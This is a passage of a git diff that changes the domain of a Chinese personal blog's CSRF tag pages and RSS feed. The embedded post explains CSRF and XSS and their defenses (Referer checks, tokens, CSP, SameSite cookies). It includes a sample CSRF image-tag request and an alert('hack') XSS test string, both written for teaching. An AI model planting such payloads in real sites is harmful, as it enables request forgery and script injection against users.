content="CSRF"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/csrf/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="CSRF"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>CSRF</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>CSRF | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/csrf/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/csrf/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="CSRF"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/csrf/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="CSRF"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>CSRF</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&lt;img src ="http://xxx.xxx/test?xxx=666">
-只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&lt;img src ="http://xxx.xxx/test?xxx=666"> 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
-if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){
-console.log("验证成功!!!")
-}else{
-console.log("验证失败!!!")
-}
-防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){ console.log("验证成功!!!") }else{ console.log("验证失败!!!") } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&lt;script>alert(‘hack’)&lt;/script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -35,14 +28,13 @@
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">
-其中img-src对应的指定图像或者图标的有效来源
+&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;"> 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
 可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值
 Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie
-中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://xiaochenabc123.github.io/posts/99/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://chenjunlinabc.github.io/posts/99/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/csrf/index.xml b/tags/csrf/index.xml
index 187239cd..59354a83 100644
--- a/tags/csrf/index.xml
+++ b/tags/csrf/index.xml
@@ -2,33 +2,33 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>CSRF on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/csrf/</link>
+    <link>https://chenjunlinabc.github.io/tags/csrf/</link>
     <description>Recent content in CSRF on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 12 Sep 2021 17:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/csrf/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 12 Sep 2021 17:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/csrf/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单了解CSRF攻击和XSS攻击</title>
-      <link>https://xiaochenabc123.github.io/posts/99/</link>
+      <link>https://chenjunlinabc.github.io/posts/99/</link>
       <pubDate>Sun, 12 Sep 2021 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/99/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/99/</guid>
       <description>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt;
只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt; 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){
console.log(&amp;quot;验证成功!!!&amp;quot;)
}else{
console.log(&amp;quot;验证失败!!!&amp;quot;)
}
防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){ console.log(&amp;quot;验证成功!!!&amp;quot;) }else{ console.log(&amp;quot;验证失败!!!&amp;quot;) } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&amp;lt;script&amp;gt;alert(&amp;lsquo;hack&amp;rsquo;)&amp;lt;/script&amp;gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -48,7 +48,7 @@ xss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt;
其中img-src对应的指定图像或者图标的有效来源
+&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt; 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
diff --git a/tags/csrf/page/1/index.html b/tags/csrf/page/1/index.html
index 58d9612e..ee117ea4 100644
--- a/tags/csrf/page/1/index.html
+++ b/tags/csrf/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/csrf/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/csrf/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/csrf/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/csrf/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/csrf/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/csrf/"></head></html>
\ No newline at end of file
diff --git a/tags/css/index.html b/tags/css/index.html
index 8ee79ed1..e61e8e37 100644
--- a/tags/css/index.html
+++ b/tags/css/index.html
@@ -1,63 +1,23 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>css | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/css/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/css/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/css/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>css</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>css | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/css/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/css/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/css/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div 